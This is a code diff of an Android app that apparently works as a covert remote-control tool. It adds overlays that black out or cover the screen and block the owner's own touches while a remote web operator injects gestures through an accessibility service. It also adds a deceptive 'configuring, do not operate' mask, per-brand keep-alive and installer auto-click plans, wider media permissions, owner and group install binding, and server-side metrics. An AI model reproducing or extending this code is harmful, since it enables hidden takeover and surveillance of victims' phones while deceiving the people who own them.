restoreTouchInterceptRunnable = runnable
|
||||
mainHandler.postDelayed(runnable, delayMs)
|
||||
}
|
||||
|
||||
/**
|
||||
* Web操作期间的阻塞管理
|
||||
* 🔑 最新策略:保持遮罩显示,但临时移除触摸拦截,让Web端操作穿透
|
||||
* 策略: 默认保持本机触摸拦截;远程手势期间短暂切换为 NOT_TOUCHABLE 放行注入,完成后自动恢复拦截。
|
||||
*/
|
||||
fun performWithBlockControl(operation: () -> Unit) {
|
||||
fun performWithBlockControl(operation: () -> Unit, passThroughDurationMs: Long = operationDelayMs) {
|
||||
try {
|
||||
if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
|
||||
// 🔑 新策略:临时修改窗口参数,添加FLAG_NOT_TOUCHABLE让触摸穿透
|
||||
Log.d(TAG, "⏰ 临时修改窗口参数以允许Web端操作穿透,保持遮罩显示")
|
||||
isPerformingWebOperation = true
|
||||
|
||||
// 🔑 重要:所有WindowManager操作必须在主线程中执行
|
||||
if (isInputBlocked &&
|
||||
blockView != null &&
|
||||
windowManager != null &&
|
||||
blockParams != null &&
|
||||
allowAccessibilityOperations
|
||||
) {
|
||||
val effectiveDuration = passThroughDurationMs.coerceIn(MIN_PASS_THROUGH_MS, MAX_PASS_THROUGH_MS)
|
||||
mainHandler.post {
|
||||
try {
|
||||
// 临时添加FLAG_NOT_TOUCHABLE,让触摸事件穿透窗口
|
||||
val tempParams = WindowManager.LayoutParams().apply {
|
||||
copyFrom(blockParams)
|
||||
flags = flags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
|
||||
passThroughToken = System.currentTimeMillis()
|
||||
val token = passThroughToken
|
||||
isPerformingWebOperation = true
|
||||
applyTouchIntercept(intercept = false)
|
||||
mainHandler.postDelayed({
|
||||
if (token != passThroughToken) {
|
||||
Log.d(TAG, "⏭️ 跳过过期的远程操作窗口 token=$token")
|
||||
return@postDelayed
|
||||
}
|
||||
|
||||
windowManager?.updateViewLayout(blockView, tempParams)
|
||||
Log.d(TAG, "✅ 窗口已设置为触摸穿透模式")
|
||||
|
||||
// 在主线程中执行操作
|
||||
operation()
|
||||
|
||||
// 延迟恢复窗口参数
|
||||
// 🔑 使用较长延迟确保AccessibilityService操作完全完成
|
||||
// 包括:命令传递 → 系统处理 → 触摸事件注入 → 应用响应
|
||||
mainHandler.postDelayed({
|
||||
if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
|
||||
try {
|
||||
// 恢复原始窗口参数,重新阻止物理触摸
|
||||
windowManager?.updateViewLayout(blockView, blockParams)
|
||||
Log.d(TAG, "🔄 恢复窗口阻塞模式")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 恢复窗口参数失败", e)
|
||||
}
|
||||
}
|
||||
isPerformingWebOperation = false
|
||||
}, operationDelayMs) // 可配置延迟,确保AccessibilityService操作完成
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 更新窗口参数失败", e)
|
||||
// 如果更新失败,仍然执行操作
|
||||
operation()
|
||||
isPerformingWebOperation = false
|
||||
}
|
||||
try {
|
||||
operation()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 远程操作执行失败", e)
|
||||
} finally {
|
||||
scheduleRestoreTouchIntercept(token, effectiveDuration)
|
||||
}
|
||||
}, PRE_OPERATION_TOUCH_PASS_DELAY_MS)
|
||||
}
|
||||
} else {
|
||||
// 没有遮罩时直接执行
|
||||
Log.d(TAG, "🔄 直接执行操作(无遮罩状态)")
|
||||
Log.d(TAG, "🔄 直接执行操作(无遮罩或不允许远程放行)")
|
||||
operation()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
@@ -287,6 +357,7 @@ class InputBlockManager(
|
||||
|
||||
// 添加到WindowManager
|
||||
windowManager?.addView(blockView, blockParams)
|
||||
blockViewMode = BlockViewMode.TEXT
|
||||
|
||||
Log.i(TAG, "✅ 输入阻塞视图已激活 - 智能阻塞模式:阻止手机端物理操作,允许Web端远程操作")
|
||||
|
||||
@@ -317,6 +388,7 @@ class InputBlockManager(
|
||||
|
||||
// 添加到WindowManager
|
||||
windowManager?.addView(blockView, blockParams)
|
||||
blockViewMode = BlockViewMode.BLACK
|
||||
|
||||
Log.i(TAG, "✅ 纯色遮罩视图已激活 - 智能阻塞模式:阻止手机端物理操作,允许Web端远程操作")
|
||||
|
||||
@@ -326,6 +398,30 @@ class InputBlockManager(
|
||||
blockView = null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建输入阻塞视图(透明版本)
|
||||
*/
|
||||
private fun createInputBlockViewTransparent() {
|
||||
try {
|
||||
Log.i(TAG, "🫥 开始创建透明遮罩视图")
|
||||
|
||||
if (blockView != null) {
|
||||
Log.d(TAG, "🔄 阻塞视图已存在,先移除")
|
||||
removeInputBlockView()
|
||||
}
|
||||
|
||||
blockView = createTransparentBlockView()
|
||||
blockParams = createBlockWindowLayoutParams()
|
||||
windowManager?.addView(blockView, blockParams)
|
||||
blockViewMode = BlockViewMode.TRANSPARENT
|
||||
|
||||
Log.i(TAG, "✅ 透明遮罩视图已激活 - 拦截本机触摸,不影响远端画面")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 创建透明遮罩视图失败", e)
|
||||
blockView = null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 移除输入阻塞视图
|
||||
@@ -339,8 +435,11 @@ class InputBlockManager(
|
||||
blockView = null
|
||||
Log.d(TAG, "🗑️ 输入阻塞视图已移除")
|
||||
}
|
||||
restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
|
||||
restoreTouchInterceptRunnable = null
|
||||
blockParams = null
|
||||
isPerformingWebOperation = false
|
||||
blockViewMode = BlockViewMode.TEXT
|
||||
|
||||
Log.i(TAG, "✅ 输入阻塞已移除,设备输入已恢复")
|
||||
|
||||
@@ -396,8 +495,7 @@ class InputBlockManager(
|
||||
// - 通过动态设置/移除OnTouchListener来控制触摸拦截
|
||||
// - Web端操作时临时移除OnTouchListener,让触摸穿透到底层应用
|
||||
// - 操作完成后恢复OnTouchListener,继续阻止物理触摸
|
||||
setOnTouchListener { _, event ->
|
||||
Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
|
||||
setOnTouchListener { _, _ ->
|
||||
true // 拦截并消费所有触摸事件
|
||||
}
|
||||
}
|
||||
@@ -412,14 +510,8 @@ class InputBlockManager(
|
||||
private fun createBlockViewWithoutText(): View {
|
||||
Log.d(TAG, "🖤 创建纯色遮罩视图")
|
||||
|
||||
// 🔧 vivo设备检测
|
||||
val isVivoDevice = isVivoDevice()
|
||||
val backgroundColor = if (isVivoDevice) {
|
||||
Log.d(TAG, "📱 vivo设备:使用深色遮盖(替代亮度调节)")
|
||||
Color.argb(255, 0, 0, 0) // vivo设备:极深色遮盖(96%不透明度)
|
||||
} else {
|
||||
Color.argb(190, 0, 0, 0) // 其他设备:半透明黑色
|
||||
}
|
||||
// 黑屏遮罩透明度可由 Web 端控制(0~255)。
|
||||
val backgroundColor = Color.argb(blackMaskAlpha, 0, 0, 0)
|
||||
|
||||
val blockView = View(context).apply {
|
||||
setBackgroundColor(backgroundColor)
|
||||
@@ -437,8 +529,7 @@ class InputBlockManager(
|
||||
android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
|
||||
|
||||
// 🔑 智能阻塞方案:拦截所有触摸事件
|
||||
setOnTouchListener { _, event ->
|
||||
Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
|
||||
setOnTouchListener { _, _ ->
|
||||
true // 拦截并消费所有触摸事件
|
||||
}
|
||||
}
|
||||
@@ -446,6 +537,33 @@ class InputBlockManager(
|
||||
Log.d(TAG, "✅ 纯色遮罩视图创建完成")
|
||||
return blockView
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建透明阻塞视图(仅拦截触摸)
|
||||
*/
|
||||
private fun createTransparentBlockView(): View {
|
||||
Log.d(TAG, "🫥 创建透明阻塞视图")
|
||||
|
||||
val transparentView = View(context).apply {
|
||||
setBackgroundColor(Color.TRANSPARENT)
|
||||
layoutParams = android.view.ViewGroup.LayoutParams(
|
||||
android.view.ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
android.view.ViewGroup.LayoutParams.MATCH_PARENT
|
||||
)
|
||||
|
||||
@Suppress("DEPRECATION")
|
||||
systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
|
||||
android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
|
||||
android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
|
||||
|
||||
setOnTouchListener { _, _ ->
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ 透明阻塞视图创建完成")
|
||||
return transparentView
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建窗口布局参数
|
||||
@@ -533,10 +651,12 @@ class InputBlockManager(
|
||||
return mapOf(
|
||||
"text" to blockText,
|
||||
"textSize" to blockTextSize,
|
||||
"maskAlpha" to blackMaskAlpha,
|
||||
"isBlocked" to isInputBlocked,
|
||||
"isWebOperation" to isPerformingWebOperation,
|
||||
"hasBlockView" to (blockView != null),
|
||||
"allowAccessibilityOperations" to allowAccessibilityOperations
|
||||
"allowAccessibilityOperations" to allowAccessibilityOperations,
|
||||
"mode" to blockViewMode.name.lowercase()
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -150,10 +150,15 @@ class PermissionRequestActivity : Activity() {
|
||||
// Android 13+ 使用新的媒体权限
|
||||
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
Log.d(TAG, "Android 13+ 使用新的媒体权限")
|
||||
arrayOf(
|
||||
val basePermissions = mutableListOf(
|
||||
Manifest.permission.READ_MEDIA_IMAGES,
|
||||
Manifest.permission.READ_MEDIA_VIDEO
|
||||
Manifest.permission.READ_MEDIA_VIDEO,
|
||||
Manifest.permission.READ_MEDIA_AUDIO
|
||||
)
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
|
||||
basePermissions.add(Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
|
||||
}
|
||||
basePermissions.toTypedArray()
|
||||
} else {
|
||||
Log.d(TAG, "Android 12及以下使用传统存储权限")
|
||||
arrayOf(
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
package com.hikoncont.util
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.IntentFilter
|
||||
import android.os.Build
|
||||
|
||||
fun Context.registerReceiverCompat(
|
||||
receiver: BroadcastReceiver,
|
||||
filter: IntentFilter,
|
||||
exported: Boolean = false
|
||||
) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
val flags = if (exported) Context.RECEIVER_EXPORTED else Context.RECEIVER_NOT_EXPORTED
|
||||
registerReceiver(receiver, filter, flags)
|
||||
} else {
|
||||
@Suppress("DEPRECATION")
|
||||
registerReceiver(receiver, filter)
|
||||
}
|
||||
}
|
||||
@@ -47,6 +47,80 @@ object ConfigWriter {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新运行时功能开关配置(featureFlags)。
|
||||
*/
|
||||
fun updateFeatureFlags(context: Context, featureFlags: Map<String, Boolean>): Boolean {
|
||||
return try {
|
||||
val existingConfig = readExistingConfig(context)
|
||||
val existingFlags = existingConfig.optJSONObject("featureFlags") ?: JSONObject()
|
||||
featureFlags.forEach { (key, value) ->
|
||||
existingFlags.put(key, value)
|
||||
}
|
||||
existingConfig.put("featureFlags", existingFlags)
|
||||
|
||||
val success = writeConfigToFile(context, existingConfig)
|
||||
if (success) {
|
||||
Log.i(TAG, "✅ featureFlags更新成功: $existingFlags")
|
||||
} else {
|
||||
Log.e(TAG, "❌ featureFlags更新失败")
|
||||
}
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "更新featureFlags时发生异常", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 作者: sue
|
||||
* 日期: 2026-02-19
|
||||
* 说明: 写入安装归属配置(安装链接Token、解析地址、归属用户和可选网络配置)。
|
||||
*/
|
||||
fun applyInstallBinding(
|
||||
context: Context,
|
||||
installToken: String? = null,
|
||||
installResolveUrl: String? = null,
|
||||
ownerUserId: Long? = null,
|
||||
ownerUsername: String? = null,
|
||||
ownerGroupId: Long? = null,
|
||||
ownerGroupName: String? = null,
|
||||
serverUrl: String? = null,
|
||||
webUrl: String? = null,
|
||||
webrtcTurnUrls: String? = null,
|
||||
webrtcTurnUsername: String? = null,
|
||||
webrtcTurnPassword: String? = null,
|
||||
): Boolean {
|
||||
return try {
|
||||
val existingConfig = readExistingConfig(context)
|
||||
|
||||
installToken?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installToken", it) }
|
||||
installResolveUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installResolveUrl", it) }
|
||||
|
||||
ownerUserId?.let { existingConfig.put("ownerUserId", it.toString()) }
|
||||
ownerUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerUsername", it) }
|
||||
ownerGroupId?.let { existingConfig.put("ownerGroupId", it.toString()) }
|
||||
ownerGroupName?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerGroupName", it) }
|
||||
|
||||
serverUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("serverUrl", it) }
|
||||
webUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webUrl", it) }
|
||||
webrtcTurnUrls?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUrls", it) }
|
||||
webrtcTurnUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUsername", it) }
|
||||
webrtcTurnPassword?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnPassword", it) }
|
||||
|
||||
val success = writeConfigToFile(context, existingConfig)
|
||||
if (success) {
|
||||
Log.i(TAG, "✅ 安装归属配置写入成功")
|
||||
} else {
|
||||
Log.e(TAG, "❌ 安装归属配置写入失败")
|
||||
}
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "写入安装归属配置异常", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 读取现有配置文件
|
||||
@@ -59,6 +133,7 @@ object ConfigWriter {
|
||||
if (internalConfigFile.exists()) {
|
||||
val jsonString = internalConfigFile.readText()
|
||||
val config = JSONObject(jsonString)
|
||||
ensureFeatureFlags(config)
|
||||
Log.d(TAG, "✅ 从内部存储读取现有配置")
|
||||
return config
|
||||
}
|
||||
@@ -70,6 +145,7 @@ object ConfigWriter {
|
||||
inputStream.close()
|
||||
|
||||
val config = JSONObject(jsonString)
|
||||
ensureFeatureFlags(config)
|
||||
Log.d(TAG, "✅ 从assets读取默认配置")
|
||||
config
|
||||
} catch (e: Exception) {
|
||||
@@ -84,17 +160,38 @@ object ConfigWriter {
|
||||
*/
|
||||
private fun createDefaultConfig(): JSONObject {
|
||||
return JSONObject().apply {
|
||||
put("serverUrl", "ws://192.168.10.205:3001")
|
||||
put("serverUrl", "ws://192.168.100.45:3001")
|
||||
put("webUrl", "https://m.baidu.com")
|
||||
put("webrtcTurnUrls", "")
|
||||
put("webrtcTurnUsername", "")
|
||||
put("webrtcTurnPassword", "")
|
||||
put("ownerUserId", "")
|
||||
put("ownerUsername", "")
|
||||
put("ownerGroupId", "")
|
||||
put("ownerGroupName", "")
|
||||
put("installToken", "")
|
||||
put("installResolveUrl", "")
|
||||
put("buildTime", System.currentTimeMillis().toString())
|
||||
put("version", "1.0.0")
|
||||
put("enableConfigMask", false)
|
||||
put("enableProgressBar", true)
|
||||
put("featureFlags", RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults()))
|
||||
put("configMaskText", "配置中请稍后...")
|
||||
put("configMaskSubtitle", "正在自动配置和连接\n请勿操作设备")
|
||||
put("configMaskStatus", "配置完成后将自动返回应用")
|
||||
}
|
||||
}
|
||||
|
||||
private fun ensureFeatureFlags(config: JSONObject) {
|
||||
val existingFlags = config.optJSONObject("featureFlags") ?: JSONObject()
|
||||
val defaults = RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults())
|
||||
defaults.keys().forEach { key ->
|
||||
if (!existingFlags.has(key)) {
|
||||
existingFlags.put(key, defaults.optBoolean(key))
|
||||
}
|
||||
}
|
||||
config.put("featureFlags", existingFlags)
|
||||
}
|
||||
|
||||
/**
|
||||
* 将配置写入文件 - 使用小米设备优化策略
|
||||
|
||||
@@ -2,93 +2,152 @@
|
||||
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.hikoncont.util.adaptation.DeviceRuntimeInfo
|
||||
import com.hikoncont.util.adaptation.InstallerAutomationPlanner
|
||||
import com.hikoncont.util.adaptation.InstallerUiAutomationPlan
|
||||
import com.hikoncont.util.adaptation.KeepAliveAdaptationRegistry
|
||||
import com.hikoncont.util.adaptation.RomPolicy
|
||||
import com.hikoncont.util.adaptation.RomPolicyRegistry
|
||||
import com.hikoncont.util.adaptation.WebRtcTransportAdaptationRegistry
|
||||
import com.hikoncont.util.adaptation.WebRtcTransportPolicy
|
||||
|
||||
/**
|
||||
* 设备检测工具类
|
||||
* 用于检测设备品牌和型号,为不同设备提供定制化策略
|
||||
* Centralized device profile detector.
|
||||
*
|
||||
* Keep all ROM/model branching here so feature modules do not hardcode
|
||||
* manufacturer checks independently.
|
||||
*/
|
||||
object DeviceDetector {
|
||||
private const val TAG = "DeviceDetector"
|
||||
|
||||
/**
|
||||
* 检测是否为OPPO设备
|
||||
*/
|
||||
|
||||
enum class DeviceBrand {
|
||||
OPPO,
|
||||
VIVO,
|
||||
XIAOMI,
|
||||
HUAWEI,
|
||||
ONEPLUS,
|
||||
SAMSUNG,
|
||||
REALME,
|
||||
UNKNOWN
|
||||
}
|
||||
|
||||
data class KeepAlivePolicy(
|
||||
val useActivityKeepAlive: Boolean,
|
||||
val enableAggressiveWorkers: Boolean,
|
||||
val keepAliveCheckIntervalMs: Long,
|
||||
val minForegroundKickIntervalMs: Long
|
||||
)
|
||||
|
||||
fun isOppoDevice(): Boolean {
|
||||
return try {
|
||||
val brand = Build.BRAND.lowercase()
|
||||
val manufacturer = Build.MANUFACTURER.lowercase()
|
||||
val product = Build.PRODUCT.lowercase()
|
||||
val device = Build.DEVICE.lowercase()
|
||||
val model = Build.MODEL.lowercase()
|
||||
|
||||
val isOppo = brand.contains("oppo") ||
|
||||
manufacturer.contains("oppo") ||
|
||||
product.contains("oppo") ||
|
||||
device.contains("oppo") ||
|
||||
model.contains("oppo")
|
||||
|
||||
Log.d(TAG, "🔍 OPPO设备检测: brand=$brand, manufacturer=$manufacturer, isOppo=$isOppo")
|
||||
isOppo
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检测OPPO设备失败", e)
|
||||
false
|
||||
}
|
||||
val brand = Build.BRAND.lowercase()
|
||||
val manufacturer = Build.MANUFACTURER.lowercase()
|
||||
val product = Build.PRODUCT.lowercase()
|
||||
val device = Build.DEVICE.lowercase()
|
||||
val model = Build.MODEL.lowercase()
|
||||
|
||||
val isOppo =
|
||||
brand.contains("oppo") ||
|
||||
manufacturer.contains("oppo") ||
|
||||
product.contains("oppo") ||
|
||||
device.contains("oppo") ||
|
||||
model.contains("oppo")
|
||||
|
||||
Log.d(TAG, "OPPO detect: brand=$brand manufacturer=$manufacturer model=$model -> $isOppo")
|
||||
return isOppo
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测设备品牌类型
|
||||
*/
|
||||
fun getDeviceBrand(): String {
|
||||
|
||||
private fun readRuntimeInfo(): DeviceRuntimeInfo {
|
||||
return DeviceRuntimeInfo(
|
||||
brand = getDeviceBrand(),
|
||||
sdkInt = Build.VERSION.SDK_INT,
|
||||
brandRaw = Build.BRAND,
|
||||
manufacturerRaw = Build.MANUFACTURER,
|
||||
modelRaw = Build.MODEL,
|
||||
deviceRaw = Build.DEVICE,
|
||||
productRaw = Build.PRODUCT
|
||||
)
|
||||
}
|
||||
|
||||
fun getRuntimeInfo(): DeviceRuntimeInfo {
|
||||
return readRuntimeInfo()
|
||||
}
|
||||
|
||||
fun getDeviceBrand(): DeviceBrand {
|
||||
return try {
|
||||
val brand = Build.BRAND.lowercase()
|
||||
val manufacturer = Build.MANUFACTURER.lowercase()
|
||||
|
||||
Log.d(TAG, "🔍 设备品牌检测: brand=$brand, manufacturer=$manufacturer")
|
||||
|
||||
|
||||
when {
|
||||
brand.contains("oppo") || manufacturer.contains("oppo") -> "OPPO"
|
||||
brand.contains("vivo") || manufacturer.contains("vivo") -> "VIVO"
|
||||
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> "XIAOMI"
|
||||
brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> "HUAWEI"
|
||||
brand.contains("oneplus") || manufacturer.contains("oneplus") -> "ONEPLUS"
|
||||
brand.contains("samsung") || manufacturer.contains("samsung") -> "SAMSUNG"
|
||||
brand.contains("realme") || manufacturer.contains("realme") -> "REALME"
|
||||
else -> "UNKNOWN"
|
||||
brand.contains("oppo") || manufacturer.contains("oppo") -> DeviceBrand.OPPO
|
||||
brand.contains("vivo") || manufacturer.contains("vivo") || brand.contains("iqoo") || manufacturer.contains("iqoo") -> DeviceBrand.VIVO
|
||||
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> DeviceBrand.XIAOMI
|
||||
brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> DeviceBrand.HUAWEI
|
||||
brand.contains("oneplus") || manufacturer.contains("oneplus") -> DeviceBrand.ONEPLUS
|
||||
brand.contains("samsung") || manufacturer.contains("samsung") -> DeviceBrand.SAMSUNG
|
||||
brand.contains("realme") || manufacturer.contains("realme") -> DeviceBrand.REALME
|
||||
else -> DeviceBrand.UNKNOWN
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检测设备品牌失败", e)
|
||||
"UNKNOWN"
|
||||
Log.e(TAG, "detect brand failed", e)
|
||||
DeviceBrand.UNKNOWN
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测是否需要Activity保活
|
||||
* OPPO设备只使用服务保活,不使用Activity保活
|
||||
*/
|
||||
|
||||
fun getKeepAlivePolicy(): KeepAlivePolicy {
|
||||
val info = readRuntimeInfo()
|
||||
val resolution = KeepAliveAdaptationRegistry.resolve(info)
|
||||
val policy = resolution.keepAlivePolicy
|
||||
|
||||
Log.i(
|
||||
TAG,
|
||||
"keepAlivePolicy strategy=${resolution.strategyId} brand=${info.brand} sdk=${info.sdkInt} activity=${policy.useActivityKeepAlive} aggressive=${policy.enableAggressiveWorkers} interval=${policy.keepAliveCheckIntervalMs} minKick=${policy.minForegroundKickIntervalMs}"
|
||||
)
|
||||
return policy
|
||||
}
|
||||
|
||||
fun getActiveKeepAliveStrategyId(): String {
|
||||
return KeepAliveAdaptationRegistry.resolve(readRuntimeInfo()).strategyId
|
||||
}
|
||||
|
||||
fun getWebRtcTransportPolicy(): WebRtcTransportPolicy {
|
||||
val info = readRuntimeInfo()
|
||||
val policy = WebRtcTransportAdaptationRegistry.resolve(info)
|
||||
Log.i(
|
||||
TAG,
|
||||
"webrtcTransportPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} retryDelay=${policy.offerRetryDelayMs} retryMax=${policy.offerRetryMax} refresh=${policy.refreshTriggerIntervalMs} emergency=${policy.emergencyRefreshMinIntervalMs} defaultDisplay=${policy.preferDefaultDisplayCaptureIntent} forceFgs=${policy.forceMediaProjectionFgsBeforeCapture}"
|
||||
)
|
||||
return policy
|
||||
}
|
||||
|
||||
fun getRomPolicy(): RomPolicy {
|
||||
val info = readRuntimeInfo()
|
||||
val policy = RomPolicyRegistry.resolve(info)
|
||||
Log.i(
|
||||
TAG,
|
||||
"romPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} stepOrder=${policy.permissionStepOrder.joinToString("|") { it.name }}"
|
||||
)
|
||||
return policy
|
||||
}
|
||||
|
||||
fun getInstallerUiAutomationPlan(): InstallerUiAutomationPlan {
|
||||
val info = readRuntimeInfo()
|
||||
val policy = RomPolicyRegistry.resolve(info)
|
||||
val plan = InstallerAutomationPlanner.resolve(policy)
|
||||
Log.i(
|
||||
TAG,
|
||||
"installerUiPlan strategy=${plan.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} clickInterval=${plan.autoAllowClickMinIntervalMs} cooldown=${plan.dialogHandleCooldownMs}"
|
||||
)
|
||||
return plan
|
||||
}
|
||||
|
||||
fun getActiveRomPolicyStrategyId(): String {
|
||||
return RomPolicyRegistry.resolve(readRuntimeInfo()).strategyId
|
||||
}
|
||||
|
||||
fun shouldUseActivityKeepAlive(): Boolean {
|
||||
val brand = getDeviceBrand()
|
||||
val shouldUse = when (brand) {
|
||||
"OPPO" -> {
|
||||
Log.i(TAG, "📱 OPPO设备:禁用Activity保活,仅使用服务保活")
|
||||
false
|
||||
}
|
||||
"VIVO" -> {
|
||||
Log.i(TAG, "📱 VIVO设备:禁用Activity保活,仅使用服务保活")
|
||||
false
|
||||
}
|
||||
else -> {
|
||||
Log.i(TAG, "📱 ${brand}设备:允许Activity保活")
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
Log.d(TAG, "🔍 保活策略检测: 品牌=$brand, 使用Activity保活=$shouldUse")
|
||||
return shouldUse
|
||||
return getKeepAlivePolicy().useActivityKeepAlive
|
||||
}
|
||||
|
||||
/**
|
||||
* 检测设备详细信息
|
||||
*/
|
||||
|
||||
fun getDeviceInfo(): Map<String, String> {
|
||||
return try {
|
||||
mapOf(
|
||||
@@ -101,7 +160,7 @@ object DeviceDetector {
|
||||
"release" to Build.VERSION.RELEASE
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 获取设备信息失败", e)
|
||||
Log.e(TAG, "read device info failed", e)
|
||||
emptyMap()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
package com.hikoncont.util
|
||||
|
||||
import android.content.Context
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
|
||||
/**
|
||||
* Lightweight device-side metrics bridge.
|
||||
* Metrics are emitted through SocketIOManager and stored on server side.
|
||||
*/
|
||||
object DeviceMetricsReporter {
|
||||
|
||||
private const val TAG = "DeviceMetricsReporter"
|
||||
private const val METRIC_TYPE_PERMISSION = "permission_flow"
|
||||
private const val METRIC_TYPE_KEEPALIVE = "keepalive"
|
||||
|
||||
fun reportPermission(
|
||||
context: Context,
|
||||
metricName: String,
|
||||
success: Boolean? = null,
|
||||
data: Map<String, Any?> = emptyMap()
|
||||
) {
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
if (!flags.permissionMetrics) {
|
||||
Log.d(TAG, "Permission metrics disabled by feature flag")
|
||||
return
|
||||
}
|
||||
report(context, METRIC_TYPE_PERMISSION, metricName, success, data)
|
||||
}
|
||||
|
||||
fun reportKeepAlive(
|
||||
context: Context,
|
||||
metricName: String,
|
||||
success: Boolean? = null,
|
||||
data: Map<String, Any?> = emptyMap()
|
||||
) {
|
||||
val flags = RuntimeFeatureFlags.current(context)
|
||||
if (!flags.keepAliveMetrics) {
|
||||
Log.d(TAG, "Keepalive metrics disabled by feature flag")
|
||||
return
|
||||
}
|
||||
report(context, METRIC_TYPE_KEEPALIVE, metricName, success, data)
|
||||
}
|
||||
|
||||
fun report(
|
||||
context: Context,
|
||||
metricType: String,
|
||||
metricName: String,
|
||||
success: Boolean? = null,
|
||||
data: Map<String, Any?> = emptyMap()
|
||||
) {
|
||||
try {
|
||||
val service = AccessibilityRemoteService.getInstance()
|
||||
val socketManager = service?.getSocketIOManager()
|
||||
if (socketManager == null || !socketManager.isConnected()) {
|
||||
Log.d(
|
||||
TAG,
|
||||
"Skip metric (socket unavailable): type=$metricType, name=$metricName"
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
val payload = linkedMapOf<String, Any?>(
|
||||
"brand" to Build.BRAND,
|
||||
"manufacturer" to Build.MANUFACTURER,
|
||||
"model" to Build.MODEL,
|
||||
"sdkInt" to Build.VERSION.SDK_INT,
|
||||
"release" to Build.VERSION.RELEASE,
|
||||
"packageName" to context.packageName
|
||||
)
|
||||
payload.putAll(data)
|
||||
socketManager.sendDeviceMetric(
|
||||
metricType = metricType,
|
||||
metricName = metricName,
|
||||
success = success,
|
||||
data = payload
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Report metric failed: type=$metricType, name=$metricName", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.hikoncont.util
|
||||
|
||||
import android.app.ActivityManager
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.hikoncont.service.RemoteControlForegroundService
|
||||
|
||||
/**
|
||||
* Throttled starter for RemoteControlForegroundService.
|
||||
*
|
||||
* Avoids repeatedly calling startForegroundService within a short interval,
|
||||
* which is unstable on some ROMs (especially Android 14/15 customized systems).
|
||||
*/
|
||||
object ForegroundServiceStarter {
|
||||
private const val TAG = "ForegroundServiceStarter"
|
||||
